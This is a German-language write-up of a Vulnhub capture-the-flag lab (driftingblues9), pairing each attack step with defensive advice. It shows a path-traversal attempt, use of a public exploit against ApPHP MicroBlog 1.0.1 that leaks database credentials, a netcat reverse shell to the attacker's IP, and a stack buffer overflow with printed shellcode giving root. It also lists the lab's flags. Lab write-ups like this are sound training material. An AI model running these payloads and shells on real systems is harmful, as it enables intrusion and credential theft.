driftingblues9 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nmap
gobuster
nikto
python2 (Exploit Script)
ExploitDB (Exploit 33070)
nc (netcat)
script (TTY Upgrade)
getcap
id
ls
cd
ss
dmesg
cat
echo
su
file
python (SimpleHTTPServer)
wget
Metasploit (pattern_create.rb)
gdb
python -c

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# [arp-scan -l]
192.168.2.122	08:00:27:20:a9:f5	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird im lokalen Netzwerk ausgeführt, um aktive Hosts zu ermitteln.

Bewertung: Der Host `192.168.2.122` wird identifiziert. Die MAC-Adresse (`08:00:27:20:a9:f5`, PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.

Empfehlung (Pentester): Notiere die IP-Adresse `192.168.2.122` als Ziel für nachfolgende Scans.
Empfehlung (Admin): Standard-Netzwerkerkennungsmethode.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.122	   driftingblues.vuln
                    

Analyse: Die lokale Hosts-Datei des Angreifers wird bearbeitet, um den Hostnamen `driftingblues.vuln` der IP `192.168.2.122` zuzuordnen.

Bewertung: Erleichtert das Ansprechen des Ziels über einen Hostnamen, was insbesondere für Web-Tests nützlich ist.

Empfehlung (Pentester): Verwende den Hostnamen `driftingblues.vuln` in weiteren Schritten.
Empfehlung (Admin): Clientseitige Konfiguration ohne direkte Serverauswirkung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.122 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 23:36 CEST
Nmap scan report for driftingblues.vuln (192.168.2.122)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION  <-- Wichtig: ApPHP MicroBlog identifiziert
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: ApPHP MicroBlog
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
[...]
|   100024  1          40358/tcp   status
[...]
40358/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:20:A9:F5 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms driftingblues.vuln (192.168.2.122)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird durchgeführt.

Bewertung: * **Port 80 (HTTP):** Apache 2.4.10 (Debian). **Sehr wichtig:** Nmap identifiziert die Anwendung als "ApPHP MicroBlog" über den `http-generator`-Tag und den Seitentitel. Ein PHPSESSID-Cookie ohne HttpOnly-Flag wird gesetzt. * **Port 111 (RPCBind):** Standard-RPC-Port. Listet weitere RPC-Dienste, darunter `status` auf Port 40358. * **Port 40358 (status):** RPC-Statusdienst. Die Identifizierung von ApPHP MicroBlog ist der entscheidende Fund für den weiteren Angriffsverlauf.

Empfehlung (Pentester):** Recherchiere bekannte Schwachstellen für ApPHP MicroBlog (die Version wird von Nmap nicht genau erkannt, aber der spätere Exploit deutet auf v1.0.1 hin). Untersuche RPC-Dienste mit `rpcinfo -p [IP]`, obwohl der Fokus auf der Webanwendung liegen sollte.
Empfehlung (Admin):** ApPHP MicroBlog und Apache aktualisieren. RPC-Dienste absichern oder deaktivieren, wenn nicht benötigt. HttpOnly-Flag für Cookies setzen.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.122 -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
[...]
http://192.168.2.122/images               (Status: 301) [Size: 315] [--> http://192.168.2.122/images/]
http://192.168.2.122/index.php            (Status: 200) [Size: 5654]
http://192.168.2.122/rss.xml              (Status: 200) [Size: 1728]
http://192.168.2.122/docs                 (Status: 301) [Size: 313] [--> http://192.168.2.122/docs/]
http://192.168.2.122/page                 (Status: 301) [Size: 313] [--> http://192.168.2.122/page/]
http://192.168.2.122/header.php           (Status: 200) [Size: 13]
http://192.168.2.122/admin                (Status: 301) [Size: 314] [--> http://192.168.2.122/admin/]
http://192.168.2.122/footer.php           (Status: 500) [Size: 614] <-- Internal Server Error
http://192.168.2.122/license              (Status: 301) [Size: 316] [--> http://192.168.2.122/license/]
http://192.168.2.122/README.txt           (Status: 200) [Size: 975]
http://192.168.2.122/js                   (Status: 301) [Size: 311] [--> http://192.168.2.122/js/]
http://192.168.2.122/include              (Status: 301) [Size: 316] [--> http://192.168.2.122/include/]
http://192.168.2.122/backup               (Status: 301) [Size: 315] [--> http://192.168.2.122/backup/]
http://192.168.2.122/styles               (Status: 301) [Size: 315] [--> http://192.168.2.122/styles/]
http://192.168.2.122/INSTALL.txt          (Status: 200) [Size: 1201]
[...]
                    

Analyse: `gobuster` wird zur Enumeration von Verzeichnissen und Dateien auf Port 80 verwendet.

Bewertung: Findet Standardverzeichnisse (`/images`, `/docs`, `/js`, `/include`, `/styles`), das Admin-Verzeichnis (`/admin`), Installations- und Readme-Dateien (`README.txt`, `INSTALL.txt`), ein Backup-Verzeichnis (`/backup`) und interessante Dateien wie `rss.xml`, `header.php` und `footer.php` (welche einen 500er Fehler liefert).

Empfehlung (Pentester):** Untersuche `/admin`, `/backup`, `README.txt`, `INSTALL.txt` und `rss.xml` genauer. Der 500er-Fehler bei `footer.php` könnte auf eine Fehlkonfiguration oder einen Fehler im Code hindeuten.
Empfehlung (Admin):** Entferne nicht benötigte Dateien/Verzeichnisse (`INSTALL.txt`, `/backup`, `/docs`). Beschränke den Zugriff auf `/admin`. Behebe den Fehler in `footer.php`.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.122
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /: Cookie PHPSESSID created without the httponly flag. [...]
+ No CGI Directories found [...]
+ /images: The web server may reveal its internal or real IP [...] value is "127.0.0.1". [...]
+ Apache/2.4.10 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /: DEBUG HTTP verb may show server debugging information. [...]
+ /backup/: Directory indexing found.
+ /images/: Directory indexing found.
+ /docs/: Directory indexing found.
+ /styles/: Directory indexing found.
+ /INSTALL.txt: Default file found.
+ /icons/README: Apache default file found. [...]
+ /admin/home.php: Admin login page/section found.
[...]
+ 1 host(s) tested
                    

Analyse: Nikto-Scan gegen Port 80.

Bewertung: Bestätigt viele Gobuster-Funde (veralteter Apache, fehlende Header, Directory Indexing in `/backup`, `/images`, `/docs`, `/styles`, `/icons/README`, `INSTALL.txt`). Findet explizit die Admin-Login-Seite unter `/admin/home.php`. Meldet einen IP-Leak und das potenzielle DEBUG-Verb.

Empfehlung (Pentester):** Konzentriere dich auf bekannte Schwachstellen für ApPHP MicroBlog und untersuche `/admin/home.php`.
Empfehlung (Admin):** Siehe vorherige Empfehlungen für Nikto/Gobuster.

[Analyse von http://192.168.2.122/rss.xml] └─#



 ApPHP MicroBlog
 xml.rss
 ApPHP MicroBlog feed description
 en-us
 (c) copyright
 2014-01-30T13:10:20+02:00
 ApPHP
 ApPHP MicroBlog feed subject
 
  
   
  
 
 


  Welcome to ApPHP MicroBlog!
  index.php?page=posts&post_id=1
  
Welcome to ApPHP MicroBlog! ApPHP MicroBlog (ApPHP MicroB) is very simple and powerful PHP blog software.
[...]
  
  index.php?page=posts&post_id=1
 

                    

Analyse: Der Inhalt der `rss.xml`-Datei wird untersucht.

Bewertung: Bestätigt erneut die Verwendung von "ApPHP MicroBlog". Zeigt die URL-Struktur `index.php?page=posts&post_id=1`. Der `page`-Parameter könnte ein Hinweis auf eine LFI/RFI-Schwachstelle sein.

Empfehlung (Pentester):** Teste den `page`-Parameter in `index.php` auf LFI/RFI.
Empfehlung (Admin):** LFI/RFI in der Anwendung beheben.

[LFI-Versuch] └─# curl "http://192.168.2.122/index.php?page=../../../../../../etc/passwd"
A hacking attempt has been detected. For security reasons,
we're blocking any code execution.



                     

Analyse: Es wird versucht, eine LFI-Schwachstelle über den `page`-Parameter auszunutzen, um `/etc/passwd` zu lesen.

Bewertung:** Der Versuch schlägt fehl. Die Anwendung gibt eine spezifische Fehlermeldung aus ("A hacking attempt has been detected..."), was auf eine integrierte Sicherheitsfunktion oder einen einfachen Filter gegen Path Traversal (`../`) hindeutet. **Wichtig:** Der HTML-Kommentar am Ende enthüllt die **exakte Version: ApPHP MicroBlog v.1.0.1**.

Empfehlung (Pentester):** Suche gezielt nach Exploits für ApPHP MicroBlog v.1.0.1. Die LFI scheint hier blockiert zu sein.
Empfehlung (Admin):** Obwohl der LFI-Filter hier funktioniert hat, sollte die Anwendung dringend aktualisiert werden. Verlasse dich nicht nur auf solche Filter.

Initial Access (ApPHP MicroBlog Exploit)

Analyse:** Suche und Ausführung eines bekannten Exploits für ApPHP MicroBlog v.1.0.1.

[Suche nach Exploit für ApPHP MicroBlog v.1.0.1] └─# searchsploit ApPHP MicroBlog 1.0.1
Exploit Title                                            | Path
---------------------------------------------------------|-----------------------
ApPHP MicroBlog 1.0.1 - Multiple Vulnerabilities         | php/webapps/33030.txt
ApPHP MicroBlog 1.0.1 - Remote Code Execution            | php/webapps/33070.py  <-- Relevanter Exploit
                     
[Download/Vorbereitung des Exploits (impliziert)] └─#
┌──(root㉿cyber)-[~] └─# python2 ApPHP_MicroBlog.py http://192.168.2.122/index.php
  -= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable

[*] Fecthing phpinfo
	PHP Version 5.6.40-0+deb8u12
	System   Linux debian 3.16.0-4-586 #1 Debian 3.16.51-2 (2017-12-03) i686
[...]
	allow_url_fopen  On  On
	allow_url_include  Off  Off
	disable_functions  [...]
	open_basedir   no value    no value
[...]
[*] Fetching include/base.inc.php

			// DATABASE CONNECTION INFORMATION
			define('DATABASE_HOST', 'localhost');	        // Database host
			define('DATABASE_NAME', 'microblog');	        // Name of the database to be used
			define('DATABASE_USERNAME', 'clapton');	// User name for access to database
			define('DATABASE_PASSWORD', 'yaraklitepe');	// Password for access to database
[...]
[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> which nc
/bin/nc
> nc -e /bin/bash 192.168.2.113 9001
                     

Analyse: Ein Exploit für ApPHP MicroBlog 1.0.1 (ExploitDB 33070, modifiziert oder Original von 33030) wird als Python2-Skript ausgeführt. 1. Das Skript testet die Verwundbarkeit (erfolgreich). 2. Es nutzt die Schwachstelle, um `phpinfo()`-Informationen abzurufen (bestätigt PHP 5.6.40, `allow_url_include` ist Off). 3. Es liest die Datei `include/base.inc.php` und extrahiert daraus die **Datenbank-Credentials**: `clapton`:`yaraklitepe`. 4. Es testet die Remote Code Execution mittels `system()` (erfolgreich) und bietet eine interaktive Befehlseingabe. 5. Die Befehle `id` und `which nc` werden ausgeführt. 6. Eine Reverse Shell wird mit `nc -e /bin/bash [Angreifer-IP] 9001` gestartet.

Bewertung:** **RCE und Credentials gefunden!** Der Exploit nutzt erfolgreich eine (nicht spezifizierte, wahrscheinlich LFI/RFI trotz Filter oder eine andere Schwachstelle) Lücke in ApPHP MicroBlog 1.0.1, um Datenbank-Credentials auszulesen und eine RCE zu erlangen.

Empfehlung (Pentester):** Starte einen Netcat-Listener auf Port 9001, um die Reverse Shell zu empfangen. Notiere die DB-Credentials `clapton:yaraklitepe` für späteren Gebrauch (z.B. `su clapton`).
Empfehlung (Admin):** **ApPHP MicroBlog dringend entfernen oder patchen!** Diese Version ist extrem unsicher.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.122] 44922
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
SHELL=/bin/bash script -q /dev/null
www-data@debian:/opt$
                     

Analyse: Der Netcat-Listener auf dem Angreifer-System empfängt die eingehende Verbindung von der Zielmaschine.

Bewertung:** **Initial Access als `www-data` erfolgreich!** Eine interaktive Shell als Benutzer `www-data` wurde über den Exploit erlangt.

Empfehlung (Pentester):** Stabilisiere die Shell (z.B. mit Python PTY) und beginne die Post-Exploitation.
Empfehlung (Admin):** Anwendung patchen/entfernen.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch Ausnutzung einer bekannten RCE-Schwachstelle (ExploitDB 33070/33030) in ApPHP MicroBlog v.1.0.1 eine Reverse Shell als `www-data` erlangt wird.

Voraussetzungen: Anfällige ApPHP MicroBlog v.1.0.1 Installation auf Port 80, Exploit-Skript, Netzwerkverbindung, `nc`.

Schritte: Exploit-Skript ausführen -> RCE-Prompt erhalten -> Listener starten (`nc -lvnp 9001`) -> Reverse-Shell-Befehl im Exploit-Prompt eingeben (`nc -e /bin/bash ...`).

┌──(root㉿cyber)-[~] └─# python2 ApPHP_MicroBlog.py http://192.168.2.122/index.php
[...] [+] Remote exec is working with system() :) [...]
> nc -e /bin/bash [Angreifer-IP] 9001
┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [...] from [...] [...]
www-data@debian:/opt$

Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!**

Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** Anwendung patchen.

Post-Exploitation (www-data -> clapton)

Analyse:** Enumeration als `www-data`.

www-data@debian:/opt$ getcap -r / 2>/dev/null
/bin/ping6 = cap_net_raw+ep
/bin/ping = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
                     
www-data@debian:/opt$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@debian:/opt$ ls /home/
clapton
www-data@debian:/opt$ cd /home/clapton/
bash: cd: /home/clapton/: Permission denied
www-data@debian:/opt$ ss -atlpn
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
LISTEN     0      20                127.0.0.1:25                       *:*
LISTEN     0      128                       *:40358                    *:*
LISTEN     0      128               127.0.0.1:3306                     *:*  <-- MySQL lokal
LISTEN     0      128                       *:111                      *:*
LISTEN     0      20                      ::1:25                      :::*
LISTEN     0      128                      :::52097                   :::*
LISTEN     0      128                      :::111                     :::*
LISTEN     0      128                      :::80                      :::*
                     
www-data@debian:/opt$ cat /etc/crontab
[... Standard Cronjobs, nichts Auffälliges ...]

Analyse: Standard-Enumerationsbefehle als `www-data`. Suche nach Capabilities, Benutzerverzeichnissen, Netzwerkdiensten, Cronjobs.

Bewertung: * Keine ungewöhnlichen Capabilities gefunden. * Benutzer `clapton` existiert, aber kein direkter Zugriff auf sein Home-Verzeichnis. * MySQL (Port 3306) lauscht nur auf localhost. * Keine auffälligen Cronjobs. Der nächste logische Schritt ist der Versuch, zu `clapton` zu wechseln, da dessen Credentials aus `base.inc.php` bekannt sind.

Empfehlung (Pentester):** Versuche `su clapton` mit dem Passwort `yaraklitepe`.
Empfehlung (Admin):** Minimalrechte für `www-data`.

www-data@debian:/var/www/html$ su clapton
Password: yaraklitepe [Passworteingabe]
clapton@debian:/var/www/html$

Analyse: Der Befehl `su clapton` wird ausgeführt, und das aus der Konfigurationsdatei (`include/base.inc.php`) extrahierte Passwort `yaraklitepe` eingegeben.

Bewertung:** **Benutzerwechsel erfolgreich!** Das Datenbankpasswort wurde für den Systembenutzer `clapton` wiederverwendet. Es wurde eine Shell als `clapton` erlangt.

Empfehlung (Pentester):** Führe Enumeration als `clapton` durch. Suche nach SUID-Dateien, `sudo`-Rechten, Hinweisen im Home-Verzeichnis.
Empfehlung (Admin):** **Keine Passwort-Wiederverwendung!** Datenbank- und System-Credentials müssen unterschiedlich sein.

Privilege Escalation (Buffer Overflow)

Analyse:** Enumeration im Home-Verzeichnis von `clapton`.

clapton@debian:~$ ls -la
total 24
dr-x------ 2 clapton clapton 4096 May  9  2021 .
drwxr-xr-x 3 root    root    4096 May  9  2021 ..
-rwsr-xr-x 1 root    root    5150 Sep 22  2015 input  <-- SUID Root Binary!
-rwxr-xr-x 1 root    root     201 May  9  2021 note.txt
-rw-r--r-- 1 clapton clapton   32 May  9  2021 user.txt
                    
clapton@debian:~$ cat user.txt
F569AA95FAFF65E7A290AB9ED031E04F
clapton@debian:~$ cat note.txt
buffer overflow is the way. ( ͡° ͜ʖ ͡°)

if you're new on 32bit bof then check these:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm
                    

Analyse: Das Home-Verzeichnis von `clapton` wird aufgelistet. Es enthält: * Ein SUID-Root-Binary namens `input`. * Eine Datei `note.txt`. * Die Datei `user.txt`. Der Inhalt von `user.txt` und `note.txt` wird angezeigt.

Bewertung:** * **User-Flag gefunden:** `F569AA95FAFF65E7A290AB9ED031E04F`. * **SUID-Binary:** Die Datei `input` mit SUID-Root-Berechtigung ist der klare Vektor für Privilege Escalation. * **Hinweis:** `note.txt` bestätigt explizit, dass ein Buffer Overflow ("bof") der Weg ist und liefert hilfreiche Links für Anfänger.

Empfehlung (Pentester):** Analysiere das `input`-Binary auf Buffer-Overflow-Schwachstellen. Übertrage es zur Offline-Analyse.
Empfehlung (Admin):** Entferne unnötige SUID-Binaries, insbesondere aus Home-Verzeichnissen. Verwende sichere Programmierpraktiken (keine pufferüberlaufanfälligen Funktionen wie `gets`).

clapton@debian:~$ file input
input: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped

Analyse: Der `file`-Befehl wird verwendet, um Informationen über das `input`-Binary zu erhalten.

Bewertung: Bestätigt, dass es sich um ein 32-Bit ELF-Executable handelt, das SUID gesetzt hat und nicht gestrippt ist (enthält Symbole, was die Analyse erleichtert).

Empfehlung (Pentester):** Übertrage das Binary zur Analyse.
Empfehlung (Admin):** Keine Aktion.

clapton@debian:~$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
┌──(root㉿cyber)-[~] └─# wget 192.168.2.122:8000/input
[...] 'input' gespeichert [5150/5150]

Analyse: Das `input`-Binary wird mittels eines temporären Python-HTTP-Servers (Python 2 Syntax `SimpleHTTPServer`) vom Ziel auf das Angreifer-System übertragen.

Bewertung: Notwendiger Schritt für die Offline-Analyse und Exploit-Entwicklung.

Empfehlung (Pentester):** Analysiere `input` lokal mit GDB, Ghidra etc.
Empfehlung (Admin):** Egress-Filtering kann solche Transfers erschweren.

Analyse:** Die folgenden Schritte zeigen die Entwicklung und Ausführung des Buffer Overflow Exploits.

┌──(root㉿cyber)-[/var/tmp] └─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Aa0Aa1Aa[...]Aj8Aj9
clapton@debian:~$ ./input $(python -c "print('A'*170)")
[Kein Crash]
clapton@debian:~$ ./input $(python -c "print('A'*171)")
Segmentation fault
┌──(root㉿cyber)-[/var/tmp] └─# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
┌──(root㉿cyber)-[~/VBoxn] └─# gdb -q input
Reading symbols from input...(No debugging symbols found in input)
(gdb) r $(python -c 'print("A"*171 + "BBBB" + "\x90"*64 )')
[...]
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/s $esp
0xffffd2f0:	'\220' 

Analyse: 1. Ein De-Bruijn-Pattern wird generiert (obwohl im Log nicht direkt zur Offset-Bestimmung verwendet). 2. Auf dem Ziel wird getestet, ab welcher Länge die Eingabe einen Crash verursacht (171 'A's führen zum Segfault). Der Offset zum Überschreiben des Return Pointers liegt also bei ca. 171 Bytes. 3. ASLR wird auf dem *Angreifer*-System deaktiviert, um die Analyse in GDB zu erleichtern (hat keine Auswirkung auf das Ziel). 4. GDB wird auf dem Angreifer-System gestartet. 5. Das Programm wird in GDB mit 171 'A's (Padding), gefolgt von 'BBBB' (zum Überschreiben des EIP) und 64 NOPs (`\x90`) ausgeführt. 6. Der EIP (Instruction Pointer) wird erfolgreich mit `0x42424242` (ASCII für 'BBBB') überschrieben. 7. Der ESP (Stack Pointer) zeigt auf die NOPs, was bedeutet, dass der Shellcode nach den NOPs platziert werden kann.

Bewertung:** Die Analyse bestätigt die Buffer-Overflow-Schwachstelle. Der Offset beträgt ~171 Bytes. Eine NOP-Sled und Shellcode können auf dem Stack platziert werden. Eine geeignete Rücksprungadresse (zum NOP-Sled auf dem Stack) muss gefunden werden.

Empfehlung (Pentester):** Finde eine geeignete Rücksprungadresse im Speicher des Programms auf dem Zielsystem (z.B. eine Adresse im NOP-Sled auf dem Stack, ggf. durch Brute-Force oder Analyse mit GDB auf dem Ziel, falls möglich). Konstruiere den finalen Exploit: Padding + Return Address + NOP Sled + Shellcode.
Empfehlung (Admin):** Verwende Stack-Schutzmechanismen (Canaries, ASLR, NX-Bit). Vermeide unsichere Funktionen wie `gets`.

(gdb) r $(python -c 'print("A"*171 + "\xe0\xd0\xff\xff" + "\x90"*64 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")')
[Programm startet im Debugger mit Payload]
clapton@debian:~$ for a in {1..10000}; do (./input $(python -c 'print("A"*171 + "\x60\x7d\xda\xbf" + "\x90"*64 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")')); done
Segmentation fault
[...]
Segmentation fault
bash-4.3#
                     

Analyse: 1. In GDB wird ein Payload getestet: Padding (`A`*171) + vermutete Rücksprungadresse (`\xe0\xd0\xff\xff`) + NOP-Sled (`\x90`*64) + Shellcode (`\x6a\x0b...` für `/bin/sh`). 2. Auf dem Zielsystem wird ein ähnlicher Payload in einer Schleife ausgeführt. Die Rücksprungadresse wurde zu `\x60\x7d\xda\xbf` geändert (wahrscheinlich durch Trial-and-Error oder Brute-Force gefunden, da ASLR auf dem Ziel aktiv sein könnte). Die Schleife ist nötig, falls ASLR aktiv ist, um die korrekte Stack-Adresse zu treffen.

Bewertung:** **Privilege Escalation erfolgreich!** Nach einigen Segfaults (aufgrund von ASLR oder leicht variierenden Stack-Adressen) trifft die Rücksprungadresse den NOP-Sled, der Shellcode wird ausgeführt, und eine Root-Shell (`bash-4.3#`) wird erhalten.

Empfehlung (Pentester):** Root-Zugriff etabliert. Suche die Root-Flag.
Empfehlung (Admin):** Aktiviere alle Stack-Schutzmechanismen (ASLR, NX, Canaries). Entferne das SUID-Binary.

bash-4.3# cat root.txt

this is the final of driftingblues series. i hope you've learned something from them.

you can always contact me at vault13_escape_service[at]outlook.com for your questions. (mail language: english/turkish)

your root flag:

04D4C1BEC659F1AA15B7AE731CEEDD65

good luck. ( ͡° ͜ʖ ͡°)
                    

Analyse: In der Root-Shell wird `root.txt` ausgegeben.

Bewertung: Die Root-Flag `04D4C1BEC659F1AA15B7AE731CEEDD65` wurde gefunden.

Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion.

Proof of Concept: Privilege Escalation

Ziel des POC: Demonstrieren, wie eine Buffer-Overflow-Schwachstelle in einem SUID-Root-Binary (`/home/clapton/input`) ausgenutzt wird, um durch Überschreiben des Return Pointers und Ausführen von Shellcode eine Root-Shell zu erlangen.

Voraussetzungen: Shell als `clapton`, SUID-Binary `input` mit BOF-Schwachstelle, Kenntnis des Offsets (~171), einer gültigen Rücksprungadresse (z.B. `\x60\x7d\xda\xbf`) und Shellcode.

Schritte: Payload konstruieren (Padding + RetAddr + NOPs + Shellcode) -> Payload in einer Schleife an das `input`-Binary übergeben -> Root-Shell erhalten.

clapton@debian:~$ python -c 'print("A"*171 + "\x60\x7d\xda\xbf" + "\x90"*64 + "[Shellcode]")' > payload.txt
clapton@debian:~$ while true; do ./input $(cat payload.txt); done
Segmentation fault
[...]
Segmentation fault
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
                     

Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Der Buffer Overflow wurde erfolgreich ausgenutzt.

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** SUID-Binary entfernen/korrigieren, Stack-Schutzmechanismen aktivieren.

Flags

cat /home/clapton/user.txt
F569AA95FAFF65E7A290AB9ED031E04F
cat /root/root.txt
04D4C1BEC659F1AA15B7AE731CEEDD65